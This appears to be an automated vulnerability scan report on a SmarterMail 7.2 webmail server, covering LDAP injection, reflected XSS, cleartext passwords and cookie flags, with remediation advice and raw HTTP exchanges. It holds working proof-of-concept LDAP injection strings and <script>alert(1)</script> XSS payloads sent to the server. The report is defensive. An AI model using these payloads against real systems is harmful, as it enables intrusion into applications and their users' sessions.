XSS, CWE-79, CAPEC-86, Cross Site Scripting, SmarterMail 7.2

The type parameter appears to be vulnerable to LDAP injection attacks.

The payloads 5faa0382d747b754)(sn=* and 5faa0382d747b754)!(sn=* were each submitted in the type parameter. These two requests resulted in different responses, indicating that the input may be being incorporated into a disjunctive LDAP query in an unsafe manner.

Issue background

LDAP injection arises when user-controllable data is copied in an unsafe way into an LDAP query that is performed by the application. If an attacker can inject LDAP metacharacters into the query, then they can interfere with the query's logic. Depending on the function for which the query is used, the attacker may be able to retrieve sensitive data to which they are not authorised, or subvert the application's logic to perform some unauthorised action.

Note that automated difference-based tests for LDAP injection flaws can often be unreliable and are prone to false positive results. You should manually review the reported requests and responses to confirm whether a vulnerability is actually present.

Issue remediation

If possible, applications should avoid copying user-controllable data into LDAP queries. If this is unavoidable, then the data should be strictly validated to prevent LDAP injection attacks. In most situations, it will be appropriate to allow only short alphanumeric strings to be copied into queries, and any other input should be rejected. At a minimum, input containing any LDAP metacharacters should be rejected; characters that should be blocked include ( ) ; , * | & = and whitespace.

Request 1

GET /Main/frmEmptyPreviewOuter.aspx?type=5faa0382d747b754)(sn=* HTTP/1.1
Accept: image/gif, image/jpeg, image/pjpeg, image/pjpeg, application/x-ms-application, application/x-ms-xbap, application/vnd.ms-xpsdocument, application/xaml+xml, */*
Referer: http://vulnerable.SmarterMail 7.2.host:9998/Default.aspx
Accept-Language: en-us
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; WOW64; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)
Accept-Encoding: gzip, deflate
Host: vulnerable.SmarterMail 7.2.host:9998
Proxy-Connection: Keep-Alive
Cookie: ASP.NET_SessionId=qjssfcanzjka5f45mn3elp55; SelectedLanguage=; settings=H5GbaO2pH2bvXZExKCiPdHE7axylgs8WH39iPtq7au4%3d; SM5Skin=Default; STTTState=; STHashCookie={"CountsGuid":"1085934378","TopBarSection":"UserContacts"}

Response 1

HTTP/2.0 200 OK
Server: SmarterTools/2.0.3925.24451
Date: Fri, 01 Oct 2010 22:28:00 GMT
X-AspNet-Version: 2.0.50727
X-Compressed-By: HttpCompress
Cache-Control: private
Content-Type: text/html; charset=utf-8
Connection: Close
Content-Length: 5204

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd">

<html xmlns="http://www.w3.org/1999/xhtml">
<head id="ctl00_Head1"><title>
No item has been selecte
...[SNIP]...
<![CDATA[
UpdateSidebarCounts('UserSync', 0);
$(function() { if (parent.UpdateCurrentPage) parent.UpdateCurrentPage('\x2fMain\x2ffrmEmptyPreviewOuter\x2easpx?type\x3d5faa0382d747b754\x29\x28sn\x253d\x2a'); });
Sys.Application.initialize();
$(function() { SetTopTitle('No\x20item\x20has\x20been\x20selected\x20\x2d\x20hoytllc\x2ecom\x20\x2d\x20SmarterMail'); });
//]]>
</script>
</form>
</body>
</html>

Request 2

GET /Main/frmEmptyPreviewOuter.aspx?type=5faa0382d747b754)!(sn=* HTTP/1.1
Accept: image/gif, image/jpeg, image/pjpeg, image/pjpeg, application/x-ms-application, application/x-ms-xbap, application/vnd.ms-xpsdocument, application/xaml+xml, */*
Referer: http://vulnerable.SmarterMail 7.2.host:9998/Default.aspx
Accept-Language: en-us
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; WOW64; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)
Accept-Encoding: gzip, deflate
Host: vulnerable.SmarterMail 7.2.host:9998
Proxy-Connection: Keep-Alive
Cookie: ASP.NET_SessionId=qjssfcanzjka5f45mn3elp55; SelectedLanguage=; settings=H5GbaO2pH2bvXZExKCiPdHE7axylgs8WH39iPtq7au4%3d; SM5Skin=Default; STTTState=; STHashCookie={"CountsGuid":"1085934378","TopBarSection":"UserContacts"}

Response 2

HTTP/2.0 200 OK
Server: SmarterTools/2.0.3925.24451
Date: Fri, 01 Oct 2010 22:28:00 GMT
X-AspNet-Version: 2.0.50727
X-Compressed-By: HttpCompress
Cache-Control: private
Content-Type: text/html; charset=utf-8
Connection: Close
Content-Length: 5247

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd">

<html xmlns="http://www.w3.org/1999/xhtml">
<head id="ctl00_Head1"><title>
No item has been selecte
...[SNIP]...
<![CDATA[
UpdateSidebarCounts('UserEmail', 0);
UpdateSidebarCounts('UserSync', 0);
$(function() { if (parent.UpdateCurrentPage) parent.UpdateCurrentPage('\x2fMain\x2ffrmEmptyPreviewOuter\x2easpx?type\x3d5faa0382d747b754\x29\x21\x28sn\x253d\x2a'); });
Sys.Application.initialize();
$(function() { SetTopTitle('No\x20item\x20has\x20been\x20selected\x20\x2d\x20hoytllc\x2ecom\x20\x2d\x20SmarterMail'); });
//]]>
</script>
</form>
</body>
</html>

2. Cross-site scripting (reflected) previous next
There are 2 instances of this issue:

/Main/frmStoredFiles.aspx [path parameter]
/Main/frmStoredFiles.aspx [path parameter]

Issue background

Reflected cross-site scripting vulnerabilities arise when data is copied from a request and echoed into the application's immediate response in an unsafe way. An attacker can use the vulnerability to construct a request which, if issued by another application user, will cause JavaScript code supplied by the attacker to execute within the user's browser in the context of that user's session with the application.

The attacker-supplied code can perform a wide variety of actions, such as stealing the victim's session token or login credentials, performing arbitrary actions on the victim's behalf, and logging their keystrokes.

Users can be induced to issue the attacker's crafted request in various ways. For example, the attacker can send a victim a link containing a malicious URL in an email or instant message. They can submit the link to popular web sites that allow content authoring, for example in blog comments. And they can create an innocuous looking web site which causes anyone viewing it to make arbitrary cross-domain requests to the vulnerable application (using either the GET or the POST method).

The security impact of cross-site scripting vulnerabilities is dependent upon the nature of the vulnerable application, the kinds of data and functionality which it contains, and the other applications which belong to the same domain and organisation. If the application is used only to display non-sensitive public content, with no authentication or access control functionality, then a cross-site scripting flaw may be considered low risk. However, if the same application resides on a domain which can access cookies for other more security-critical applications, then the vulnerability could be used to attack those other applications, and so may be considered high risk. Similarly, if the organisation which owns the application is a likely target for phishing attacks, then the vulnerability could be leveraged to lend credibility to such attacks, by injecting Trojan functionality into the vulnerable application, and exploiting users' trust in the organisation in order to capture credentials for other applications which it owns. In many kinds of application, such as those providing online banking functionality, cross-site scripting should always be considered high risk.

Issue remediation

In most situations where user-controllable data is copied into application responses, cross-site scripting attacks can be prevented using two layers of defences:

Input should be validated as strictly as possible on arrival, given the kind of content which it is expected to contain. For example, personal names should consist of alphabetical and a small range of typographical characters, and be relatively short; a year of birth should consist of exactly four numerals; email addresses should match a well-defined regular expression. Input which fails the validation should be rejected, not sanitised.
User input should be HTML-encoded at any point where it is copied into application responses. All HTML metacharacters, including < > " ' and =, should be replaced with the corresponding HTML entities (< > etc).

In cases where the application's functionality allows users to author content using a restricted subset of HTML tags and attributes (for example, blog comments which allow limited formatting and linking), it is necessary to parse the supplied HTML to validate that it does not use any dangerous syntax; this is a non-trivial task.

2.1. http://vulnerable.SmarterMail 7.2.host:9998/Main/frmStoredFiles.aspx [path parameter] next

Summary

Severity:	High
Confidence:	Certain
Host:	http://vulnerable.SmarterMail 7.2.host:9998
Path:	/Main/frmStoredFiles.aspx

Issue detail

The value of the path request parameter is copied into the HTML document as plain text between tags. The payload 4e2dc<script>alert(1)</script>ba99eeeec80 was submitted in the path parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /Main/frmStoredFiles.aspx?path=4e2dc<script>alert(1)</script>ba99eeeec80 HTTP/1.1
Accept: image/gif, image/jpeg, image/pjpeg, image/pjpeg, application/x-ms-application, application/x-ms-xbap, application/vnd.ms-xpsdocument, application/xaml+xml, */*
Referer: http://vulnerable.SmarterMail 7.2.host:9998/Default.aspx
Accept-Language: en-us
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; WOW64; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)
Accept-Encoding: gzip, deflate
Host: vulnerable.SmarterMail 7.2.host:9998
Proxy-Connection: Keep-Alive
Cookie: ASP.NET_SessionId=qjssfcanzjka5f45mn3elp55; SelectedLanguage=; settings=H5GbaO2pH2bvXZExKCiPdHE7axylgs8WH39iPtq7au4%3d; SM5Skin=Default; STTTState=; STHashCookie={"CountsGuid":"1085934378","TopBarSection":"UserStorage"}

Response

HTTP/2.0 200 OK
Server: SmarterTools/2.0.3925.24451
Date: Fri, 01 Oct 2010 22:27:29 GMT
X-AspNet-Version: 2.0.50727
X-Compressed-By: HttpCompress
Cache-Control: private
Content-Type: text/html; charset=utf-8
Connection: Close
Content-Length: 18699

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd">

<html xmlns="http://www.w3.org/1999/xhtml">
<head id="ctl00_Head1"><title>
   4e2dc<script>alert(1)</s
...[SNIP]...
<div id="PageTitle" class="PageTitleText">
                       4e2dc<script>alert(1)</script>ba99eeeec80
                   </div>
...[SNIP]...

2.2. http://vulnerable.SmarterMail 7.2.host:9998/Main/frmStoredFiles.aspx [path parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://vulnerable.SmarterMail 7.2.host:9998
Path:	/Main/frmStoredFiles.aspx

Issue detail

The value of the path request parameter is copied into the HTML document as text between TITLE tags. The payload 99cc2</title><script>alert(1)</script>3111003d311 was submitted in the path parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /Main/frmStoredFiles.aspx?path=99cc2</title><script>alert(1)</script>3111003d311 HTTP/1.1
Accept: image/gif, image/jpeg, image/pjpeg, image/pjpeg, application/x-ms-application, application/x-ms-xbap, application/vnd.ms-xpsdocument, application/xaml+xml, */*
Referer: http://vulnerable.SmarterMail 7.2.host:9998/Default.aspx
Accept-Language: en-us
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; WOW64; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)
Accept-Encoding: gzip, deflate
Host: vulnerable.SmarterMail 7.2.host:9998
Proxy-Connection: Keep-Alive
Cookie: ASP.NET_SessionId=qjssfcanzjka5f45mn3elp55; SelectedLanguage=; settings=H5GbaO2pH2bvXZExKCiPdHE7axylgs8WH39iPtq7au4%3d; SM5Skin=Default; STTTState=; STHashCookie={"CountsGuid":"1085934378","TopBarSection":"UserStorage"}

Response

HTTP/2.0 200 OK
Server: SmarterTools/2.0.3925.24451
Date: Fri, 01 Oct 2010 22:27:36 GMT
X-AspNet-Version: 2.0.50727
X-Compressed-By: HttpCompress
Cache-Control: private
Content-Type: text/html; charset=utf-8
Connection: Close
Content-Length: 18806

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd">

<html xmlns="http://www.w3.org/1999/xhtml">
<head id="ctl00_Head1"><title>
99cc2</title><script>alert(1)</script>3111003d311 - hoytllc.com - SmarterMail
</title>
...[SNIP]...

3. Cleartext submission of password previous next
There are 2 instances of this issue:

/Login.aspx
/Main/frmMySettings.aspx

Issue background

Passwords submitted over an unencrypted connection are vulnerable to capture by an attacker who is suitably positioned on the network. This includes any malicious party located on the user's own network, within their ISP, within the ISP used by the application, and within the application's hosting infrastructure. Even if switched networks are employed at some of these locations, techniques exist to circumvent this defence and monitor the traffic passing through switches.

Issue remediation

The application should use transport-level encryption (SSL or TLS) to protect all sensitive communications passing between the client and the server. Communications that should be protected include the login mechanism and related functionality, and any functions where sensitive data can be accessed or privileged actions can be performed. These areas of the application should employ their own session handling mechanism, and the session tokens used should never be transmitted over unencrypted communications. If HTTP cookies are used for transmitting session tokens, then the secure flag should be set to prevent transmission over clear-text HTTP.

3.1. http://vulnerable.SmarterMail 7.2.host:9998/Login.aspx previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://vulnerable.SmarterMail 7.2.host:9998
Path:	/Login.aspx

Issue detail

The page contains a form with the following action URL, which is submitted over clear-text HTTP:

http://vulnerable.SmarterMail 7.2.host:9998/Login.aspx

The form contains the following password field:

ctl00$MPH$txtPassword

Request

GET /Login.aspx HTTP/1.1
Accept: image/gif, image/jpeg, image/pjpeg, image/pjpeg, application/x-ms-application, application/x-ms-xbap, application/vnd.ms-xpsdocument, application/xaml+xml, */*
Accept-Language: en-us
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; WOW64; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)
Accept-Encoding: gzip, deflate
Proxy-Connection: Keep-Alive
Host: vulnerable.SmarterMail 7.2.host:9998
Cookie: ASP.NET_SessionId=qjssfcanzjka5f45mn3elp55

Response

HTTP/2.0 200 OK
Server: SmarterTools/2.0.3925.24451
Date: Fri, 01 Oct 2010 22:18:49 GMT
X-AspNet-Version: 2.0.50727
X-Compressed-By: HttpCompress
Cache-Control: private
Content-Type: text/html; charset=utf-8
Connection: Close
Content-Length: 7968

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<html xmlns="http://www.w3.org/1999/xhtml">
<head id="ctl00_Head1"><ti
...[SNIP]...
<body class="Login" dir="ltr">
   <form method="post" action="Login.aspx" id="aspnetForm">
<div>
...[SNIP]...
</div>
       <input name="ctl00$MPH$txtPassword" type="password" id="ctl00_MPH_txtPassword" tabindex="2" style="width: 310px" />
   </div>
...[SNIP]...

3.2. http://vulnerable.SmarterMail 7.2.host:9998/Main/frmMySettings.aspx previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://vulnerable.SmarterMail 7.2.host:9998
Path:	/Main/frmMySettings.aspx

Issue detail

The page contains a form with the following action URL, which is submitted over clear-text HTTP:

http://vulnerable.SmarterMail 7.2.host:9998/Main/frmMySettings.aspx

The form contains the following password fields:

ctl00$MPH$wucUserSettings$txtChangePassword_CurrentPassword_SettingText
ctl00$MPH$wucUserSettings$txtNP_SettingText
ctl00$MPH$wucUserSettings$txtNewPasswordConfirmed_SettingText

Request

GET /Main/frmMySettings.aspx HTTP/1.1
Accept: image/gif, image/jpeg, image/pjpeg, image/pjpeg, application/x-ms-application, application/x-ms-xbap, application/vnd.ms-xpsdocument, application/xaml+xml, */*
Referer: http://vulnerable.SmarterMail 7.2.host:9998/Default.aspx
Accept-Language: en-us
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; WOW64; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)
Accept-Encoding: gzip, deflate
Host: vulnerable.SmarterMail 7.2.host:9998
Proxy-Connection: Keep-Alive
Cookie: ASP.NET_SessionId=qjssfcanzjka5f45mn3elp55; SelectedLanguage=; settings=H5GbaO2pH2bvXZExKCiPdHE7axylgs8WH39iPtq7au4%3d; SM5Skin=Default; STTTState=; STHashCookie={"CountsGuid":"1085934378","TopBarSection":"UserSettings"}

Response

HTTP/2.0 200 OK
Server: SmarterTools/2.0.3925.24451
Date: Fri, 01 Oct 2010 22:21:34 GMT
X-AspNet-Version: 2.0.50727
X-Compressed-By: HttpCompress
Cache-Control: private
Content-Type: text/html; charset=utf-8
Connection: Close
Content-Length: 56951

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd">

<html xmlns="http://www.w3.org/1999/xhtml">
<head id="ctl00_Head1"><title>
Account Settings - hoytl
...[SNIP]...
<body class="" dir="ltr">
<form method="post" action="frmMySettings.aspx" id="aspnetForm">
<div>
...[SNIP]...
<td id="ctl00_MPH_wucUserSettings_txtChangePassword_CurrentPassword_Setting" class="Setting"><input name="ctl00$MPH$wucUserSettings$txtChangePassword_CurrentPassword_SettingText" type="password" id="ctl00_MPH_wucUserSettings_txtChangePassword_CurrentPassword_SettingText" class="text" autocomplete="off" /></td>
...[SNIP]...
<td id="ctl00_MPH_wucUserSettings_txtNP_Setting" class="Setting"><input name="ctl00$MPH$wucUserSettings$txtNP_SettingText" type="password" id="ctl00_MPH_wucUserSettings_txtNP_SettingText" class="text" autocomplete="off" /></td>
...[SNIP]...
<td id="ctl00_MPH_wucUserSettings_txtNewPasswordConfirmed_Setting" class="Setting"><input name="ctl00$MPH$wucUserSettings$txtNewPasswordConfirmed_SettingText" type="password" id="ctl00_MPH_wucUserSettings_txtNewPasswordConfirmed_SettingText" class="text" autocomplete="off" /></td>
...[SNIP]...

4. Password field with autocomplete enabled previous next

Summary

Severity:	Low
Confidence:	Certain
Host:	http://vulnerable.SmarterMail 7.2.host:9998
Path:	/Login.aspx

Issue detail

The page contains a form with the following action URL:

http://vulnerable.SmarterMail 7.2.host:9998/Login.aspx

The form contains the following password field with autocomplete enabled:

ctl00$MPH$txtPassword

Issue background

Most browsers have a facility to remember user credentials that are entered into HTML forms. This function can be configured by the user and also by applications which employ user credentials. If the function is enabled, then credentials entered by the user are stored on their local computer and retrieved by the browser on future visits to the same application.

The stored credentials can be captured by an attacker who gains access to the computer, either locally or through some remote compromise. Further, methods have existed whereby a malicious web site can retrieve the stored credentials for other applications, by exploiting browser vulnerabilities or through application-level cross-domain attacks.

Issue remediation

To prevent browsers from storing credentials entered into HTML forms, you should include the attribute autocomplete="off" within the FORM tag (to protect all form fields) or within the relevant INPUT tags (to protect specific individual fields).

Request

Response

5. Cross-domain Referer leakage previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://vulnerable.SmarterMail 7.2.host:9998
Path:	/Reports/frmReport.aspx

Issue detail

The page was loaded from a URL containing a query string:

http://vulnerable.SmarterMail 7.2.host:9998/Reports/frmReport.aspx?level=user&reportid=3C423C57823C4B519A0426B8EF6C15D5&=MyReports

The response contains the following link to another domain:

http://174.121.222.18:9998/TempResourceHandler.ashx?file=bec960cfde0a4a9a9a53e02f1bf19d16.png

Issue background

When a web browser makes a request for a resource, it typically adds an HTTP header, called the "Referer" header, indicating the URL of the resource from which the request originated. This occurs in numerous situations, for example when a web page loads an image or script, or when a user clicks on a link or submits a form.

If the resource being requested resides on a different domain, then the Referer header is still generally included in the cross-domain request. If the originating URL contains any sensitive information within its query string, such as a session token, then this information will be transmitted to the other domain. If the other domain is not fully trusted by the application, then this may lead to a security compromise.

You should review the contents of the information being transmitted to other domains, and also determine whether those domains are fully trusted by the originating application.

Today's browsers may withhold the Referer header in some situations (for example, when loading a non-HTTPS resource from a page that was loaded over HTTPS, or when a Refresh directive is issued), but this behaviour should not be relied upon to protect the originating URL from disclosure.

Note also that if users can author content within the application then an attacker may be able to inject links referring to a domain they control in order to capture data from URLs used within the application.

Issue remediation

The application should never transmit any sensitive information within the URL query string. In addition to being leaked in the Referer header, such information may be logged in various locations and may be visible on-screen to untrusted parties.

Request

GET /Reports/frmReport.aspx?level=user&reportid=3C423C57823C4B519A0426B8EF6C15D5&=MyReports HTTP/1.1
Accept: image/gif, image/jpeg, image/pjpeg, image/pjpeg, application/x-ms-application, application/x-ms-xbap, application/vnd.ms-xpsdocument, application/xaml+xml, */*
Referer: http://vulnerable.SmarterMail 7.2.host:9998/Default.aspx
Accept-Language: en-us
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; WOW64; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)
Accept-Encoding: gzip, deflate
Host: vulnerable.SmarterMail 7.2.host:9998
Proxy-Connection: Keep-Alive
Cookie: ASP.NET_SessionId=qjssfcanzjka5f45mn3elp55; SelectedLanguage=; settings=H5GbaO2pH2bvXZExKCiPdHE7axylgs8WH39iPtq7au4%3d; SM5Skin=Default; STTTState=; STHashCookie={"CountsGuid":"1085934378","TopBarSection":"UserReports"}

Response

HTTP/2.0 200 OK
Server: SmarterTools/2.0.3925.24451
Date: Fri, 01 Oct 2010 22:21:29 GMT
X-AspNet-Version: 2.0.50727
X-Compressed-By: HttpCompress
Cache-Control: private
Content-Type: text/html; charset=utf-8
Connection: Close
Content-Length: 27903

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd">

<html xmlns="http://www.w3.org/1999/xhtml">
<head id="ctl00_Head1"><title>
View Report - hoytllc.co
...[SNIP]...
<div class='ReportChart'><img class='ChartImage' width='700px' height='210px' src='http://174.121.222.18:9998/TempResourceHandler.ashx?file=bec960cfde0a4a9a9a53e02f1bf19d16.png' /></div>
...[SNIP]...

6. Cookie without HttpOnly flag set previous next
There are 2 instances of this issue:

/
/Login.aspx

Issue background

If the HttpOnly attribute is set on a cookie, then the cookie's value cannot be read or set by client-side JavaScript. This measure can prevent certain client-side attacks, such as cross-site scripting, from trivially capturing the cookie's value via an injected script.

Issue remediation

There is usually no good reason not to set the HttpOnly flag on all cookies. Unless you specifically require legitimate client-side scripts within your application to read or set a cookie's value, you should set the HttpOnly flag by including this attribute within the relevant Set-cookie directive.

You should be aware that the restrictions imposed by the HttpOnly flag can potentially be circumvented in some circumstances, and that numerous other serious attacks can be delivered by client-side script injection, aside from simple cookie stealing.

6.1. http://vulnerable.SmarterMail 7.2.host:9998/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://vulnerable.SmarterMail 7.2.host:9998
Path:	/

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:

SM5Skin=Default; expires=Thu, 01-Oct-2020 22:23:26 GMT; path=/

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET / HTTP/1.1
Accept: image/gif, image/jpeg, image/pjpeg, image/pjpeg, application/x-ms-application, application/x-ms-xbap, application/vnd.ms-xpsdocument, application/xaml+xml, */*
Accept-Language: en-us
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.2; WOW64; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)
Proxy-Connection: Keep-Alive
Host: vulnerable.SmarterMail 7.2.host:9998
Cookie: SelectedLanguage=; settings=H5GbaO2pH2bvXZExKCiPdHE7axylgs8WH39iPtq7au4%3d; SM5Skin=Default; STTTState=; STHashCookie={"CountsGuid":"1085934378","TopBarSection":"UserEmail"}

Response

HTTP/2.0 200 OK
Server: SmarterTools/2.0.3925.24451
Date: Fri, 01 Oct 2010 22:23:26 GMT
X-AspNet-Version: 2.0.50727
X-Compressed-By: HttpCompress
Set-Cookie: ASP.NET_SessionId=wmcwqwar3z1uqmbg32jkdrmv; path=/; HttpOnly
Set-Cookie: SM5Skin=Default; expires=Thu, 01-Oct-2020 22:23:26 GMT; path=/
Cache-Control: private
Content-Type: text/html; charset=utf-8
Connection: Close
Content-Length: 30030

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<html xmlns="http://www.w3.org/1999/xhtml">
<head id="ctl00_Head1"><titl
...[SNIP]...

6.2. http://vulnerable.SmarterMail 7.2.host:9998/Login.aspx previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://vulnerable.SmarterMail 7.2.host:9998
Path:	/Login.aspx

Issue detail

The following cookies were issued by the application and do not have the HttpOnly flag set:

settings=H5GbaO2pH2bvXZExKCiPdHE7axylgs8WH39iPtq7au4%3d; expires=Thu, 01-Oct-2020 22:19:05 GMT; path=/
SM5Skin=Default; expires=Thu, 01-Oct-2020 22:19:05 GMT; path=/

The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

POST /Login.aspx HTTP/1.1
Accept: */*
Accept-Language: en-us
Referer: http://vulnerable.SmarterMail 7.2.host:9998/Login.aspx
x-microsoftajax: Delta=true
Content-Type: application/x-www-form-urlencoded; charset=utf-8
Cache-Control: no-cache
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; WOW64; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)
Host: vulnerable.SmarterMail 7.2.host:9998
Proxy-Connection: Keep-Alive
Pragma: no-cache
Cookie: ASP.NET_SessionId=qjssfcanzjka5f45mn3elp55
Content-Length: 999

ctl00%24ScriptManager1=ctl00%24UpdatePanel1%7Cctl00%24BPH%24LoginImageButton&__LASTFOCUS=&__EVENTTARGET=ctl00%24BPH%24LoginImageButton&__EVENTARGUMENT=&__VIEWSTATE=%2FwEPDwUKLTI4NzA5NDYyNg8WBB4QX19fUm
...[SNIP]...

Response

HTTP/2.0 200 OK
Server: SmarterTools/2.0.3925.24451
Date: Fri, 01 Oct 2010 22:19:08 GMT
X-AspNet-Version: 2.0.50727
Set-Cookie: SelectedLanguage=; expires=Thu, 01-Oct-2020 22:19:05 GMT; path=/
Set-Cookie: settings=H5GbaO2pH2bvXZExKCiPdHE7axylgs8WH39iPtq7au4%3d; expires=Thu, 01-Oct-2020 22:19:05 GMT; path=/
Set-Cookie: SM5Skin=Default; expires=Thu, 01-Oct-2020 22:19:05 GMT; path=/
Cache-Control: no-cache
Pragma: no-cache
Expires: -1
Content-Type: text/plain; charset=utf-8
Content-Length: 53
Connection: Close

35|pageRedirect||/Main/frmWelcome.aspx?unframed=true|

7. Email addresses disclosed previous next
There are 7 instances of this issue:

/
/Default.aspx
/Default.aspx
/Login.aspx
/Main/Calendar/frmEvent.aspx
/Main/frmMySettings.aspx
/Reports/frmReport.aspx

Issue background

The presence of email addresses within application responses does not necessarily constitute a security vulnerability. Email addresses may appear intentionally within contact information, and many applications (such as web mail) include arbitrary third-party email addresses within their core content.

However, email addresses of developers and other individuals (whether appearing on-screen or hidden within page source) may disclose information that is useful to an attacker; for example, they may represent usernames that can be used at the application's login, and they may be used in social engineering attacks against the organisation's personnel. Unnecessary or excessive disclosure of email addresses may also lead to an increase in the volume of spam email received.

Issue remediation

You should review the email addresses being disclosed by the application, and consider removing any that are unnecessary, or replacing personal addresses with anonymous mailbox addresses (such as helpdesk@example.com).

7.1. http://vulnerable.SmarterMail 7.2.host:9998/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://vulnerable.SmarterMail 7.2.host:9998
Path:	/

Issue detail

The following email address was disclosed in the response:

enduser@hoytllc.com

Request

Response

7.2. http://vulnerable.SmarterMail 7.2.host:9998/Default.aspx previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://vulnerable.SmarterMail 7.2.host:9998
Path:	/Default.aspx

Issue detail

The following email address was disclosed in the response:

enduser@hoytllc.com

Request

GET /Default.aspx HTTP/1.1
Accept: image/gif, image/jpeg, image/pjpeg, image/pjpeg, application/x-ms-application, application/x-ms-xbap, application/vnd.ms-xpsdocument, application/xaml+xml, */*
Referer: http://vulnerable.SmarterMail 7.2.host:9998/Main/frmWelcome.aspx?unframed=true
Accept-Language: en-us
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; WOW64; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)
Accept-Encoding: gzip, deflate
Host: vulnerable.SmarterMail 7.2.host:9998
Proxy-Connection: Keep-Alive
Cookie: ASP.NET_SessionId=qjssfcanzjka5f45mn3elp55; SelectedLanguage=; settings=H5GbaO2pH2bvXZExKCiPdHE7axylgs8WH39iPtq7au4%3d; SM5Skin=Default

Response

HTTP/2.0 200 OK
Server: SmarterTools/2.0.3925.24451
Date: Fri, 01 Oct 2010 22:19:15 GMT
X-AspNet-Version: 2.0.50727
X-Compressed-By: HttpCompress
Cache-Control: private
Content-Type: text/html; charset=utf-8
Connection: Close
Content-Length: 30114

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<html xmlns="http://www.w3.org/1999/xhtml">
<head id="ctl00_Head1"><titl
...[SNIP]...
<span class="HeaderUserName">enduser@hoytllc.com</span>
...[SNIP]...

7.3. http://vulnerable.SmarterMail 7.2.host:9998/Default.aspx previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://vulnerable.SmarterMail 7.2.host:9998
Path:	/Default.aspx

Issue detail

The following email address was disclosed in the response:

euser@hoytllc.com

Request

GET /Default.aspx HTTP/1.1
Host: vulnerable.SmarterMail 7.2.host:9998
Proxy-Connection: keep-alive
Referer: http://vulnerable.SmarterMail 7.2.host:9998/Main/frmWelcome.aspx?unframed=true
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US) AppleWebKit/534.3 (KHTML, like Gecko) Chrome/6.0.472.63 Safari/534.3
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: ASP.NET_SessionId=c3zrnp3fvjsmao45kfanak55; SelectedLanguage=; settings=sbjPsYCOWH%2b2Guc6hfZIwFZrx4oif%2fxXdHydUqFMtxk%3d; SM5Skin=Default

Response

HTTP/2.0 200 OK
Server: SmarterTools/2.0.3925.24451
Date: Fri, 01 Oct 2010 22:34:49 GMT
X-AspNet-Version: 2.0.50727
X-Compressed-By: HttpCompress
Cache-Control: private
Content-Type: text/html; charset=utf-8
Connection: Close
Content-Length: 30106

